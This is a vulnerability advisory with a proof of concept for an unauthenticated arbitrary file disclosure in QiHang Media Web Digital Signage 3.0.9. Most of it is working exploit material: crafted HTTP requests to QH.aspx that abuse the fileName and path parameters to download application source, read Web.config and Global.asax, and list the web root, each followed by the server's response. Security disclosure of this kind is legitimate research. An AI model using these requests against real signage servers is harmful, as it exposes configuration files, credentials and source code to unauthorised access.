QiHang Media Web Digital Signage 3.0.9 – Unauthenticated Arbitrary File Disclosure
# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Disclosure # Date: 2020-08-12 # Exploit Author: LiquidWorm # Vendor Homepage: http://www.howfor.com # Tested on: Microsoft Windows Server 2012 R2 Datacenter # CVE : N/A QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Arbitrary File Disclosure Vulnerability Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd. Guangzhou Hefeng Automation Technology Co., Ltd. Product web page: http://www.howfor.com Affected version: 3.0.9.0 Summary: Digital Signage Software. Desc: The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the 'filename' parameter when using the download action or thru 'path' parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Tested on: Microsoft Windows Server 2012 R2 Datacenter Microsoft Windows Server 2003 Enterprise Edition ASP.NET 4.0.30319 HowFor Web Server/5.6.0.0 Microsoft ASP.NET Web QiHang IIS Server Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5581 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5581.php 27.07.2020 -- Source code disclosure PoC: --------------------------- GET /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx HTTP/1.1 Host: 192.168.1.74:8090 User-Agent: lfi_test.wrapper/2.9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close -- HTTP/1.1 200 OK Server: HowFor Web Server/5.6.0.0 Date: Sun, 26 Jul 2020 22:49:08 GMT X-AspNet-Version: 4.0.30319 Content-Disposition: attachment;filename=QH.aspx Set-Cookie: ASP.NET_SessionId=f0xji5cazmbzdygcr5g3qr03; path=/; HttpOnly Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/zip Content-Length: 463 Connection: Close <%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="QH.aspx.cs" Inherits="QiHang.Media.Web.QH" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> </div> </form> </body> </html> Arbitrary file read: -------------------- http://192.168.1.74:8090/QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fGlobal.asax http://192.168.1.74:8090/QH.aspx?responderId=ResourceNewResponder&action=view&fileName=.%2fWeb.config Directory contents disclosure: ------------------------------ POST /QH.aspx HTTP/1.1 Host: 192.168.1.74:8090 Content-Length: 62 User-Agent: lfi_test.wrapper/2.9 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close responderId=ResourceNewResponder&action=getAll&path=&fileName= -- HTTP/1.1 200 OK Server: HowFor Web Server/5.6.0.0 Date: Tue, 28 Jul 2020 23:51:13 GMT X-AspNet-Version: 4.0.30319 Set-Cookie: ASP.NET_SessionId=f0ac1jyifcacvufnpptduv1f; path=/; HttpOnly Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 4680 Connection: Close { "first": true, "second": [ { "name": "App_Data", "type": "folder", "size": 852992.0, "uploadTime": new Date( 1525316885250 ), "path": "/App_Data" }, { "name": "bin", "type": "folder", "size": 4398172.0, "uploadTime": new Date( 1525316885046 ), ... ... "name": "xml", "type": "folder", "size": 25519.0, "uploadTime": new Date( 1525316885234 ), "path": "/xml" }, { "name": "default.htm", "type": ".htm", "size": 1609.0, "uploadTime": new Date( 1523859040000 ), "path": "/default.htm" }, { "name": "Global.asax", "type": ".asax", "size": 100.0, "uploadTime": new Date( 1523859032000 ), "path": "/Global.asax" }, { "name": "IIS.dll", "type": ".dll", "size": 40960.0, "uploadTime": new Date( 1523859036000 ), ... ... "path": "/Media.Server.DeamonPlugin.Web.xml" }, { "name": "preview.htm", "type": ".htm", "size": 947.0, "uploadTime": new Date( 1523859040000 ), "path": "/preview.htm" }, { "name": "QH.aspx", "type": ".aspx", "size": 463.0, "uploadTime": new Date( 1523859030000 ), "path": "/QH.aspx" }, { "name": "server.xml", "type": ".xml", "size": 206.0, "uploadTime": new Date( 1523859034000 ), "path": "/server.xml" }, { "name": "Web.config", "type": ".config", "size": 2470.0, "uploadTime": new Date( 1523859034000 ), "path": "/Web.config" } ], "third": 0 } |